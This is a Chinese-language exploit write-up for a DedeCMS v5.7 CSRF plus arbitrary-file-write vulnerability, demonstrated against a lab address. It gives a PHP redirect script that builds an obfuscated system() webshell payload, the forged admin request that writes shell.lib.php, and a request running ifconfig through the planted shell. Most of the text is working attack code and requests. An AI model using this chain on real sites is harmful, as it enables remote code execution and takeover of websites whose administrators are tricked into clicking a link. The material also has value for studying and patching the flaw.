DedeCMS_v5.7_友情链接CSRF+任意文件写入漏洞

参考：https://github.com/SecWiki/CMS-Hunter/tree/master/DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell
后台任意文件写入漏洞参考：
https://www.freebuf.com/vuls/164035.html
还有一个后台任意文件写入漏洞：
某CMS V5.7 SP2 后台Getshell也是需要管理员登录的，就不演示了。
略鸡肋，需要管理员点击。

步骤

先在网站最下面点击“申请加入”，然后填入构造的网站链接:

http://192.168.170.139:8888/dedecms_csrf.php

然后该链接需要服务器后台可以访问的地址即可。（这里演示可以用php -S 192.168.170.139:8888）启动一个web服务。
该链接的内容为：

<?php
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php，取得dede后台的路径
$muma = '<'.'p'.'h'.'p'.' '.'?'.'@'.'s'.'y'.'s'.'t'.'e'.'m'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
header("location: ".$url);
exit();

登录的管理员点击这个链接

即可发出以下请求：

GET /dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?php+@system($_REQUEST[%27c%27]);?%3E&filename=shell.lib.php HTTP/1.1
Host: 192.168.170.139
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3590.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.170.139/dede/friendlink_main.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1%2C5_1; PHPSESSID=007f34e0c5cb0af798fc22cd2cc59442; _csrf_name_219dde03=0957cc447dd927bbc951a41988de261c; _csrf_name_219dde03__ckMd5=b038b83ef0fe4362; last_vtime=1543393996; last_vtime__ckMd5=60dff44dc846f210; last_vid=0000001; last_vid__ckMd5=a4e5f256daf9e616; DedeUserID=1; DedeUserID__ckMd5=3f11bf2d96ba0bad; DedeLoginTime=1543395060; DedeLoginTime__ckMd5=5ee3e2d97596dade; ENV_GOBACK_URL=%2Fdede%2Ffriendlink_main.php
Connection: close

发现成功生成两个webshell：

直接访问生成的webshell：

GET /include/taglib/shell.lib.php?c=ifconfig HTTP/1.1
Host: 192.168.170.139
Connection: close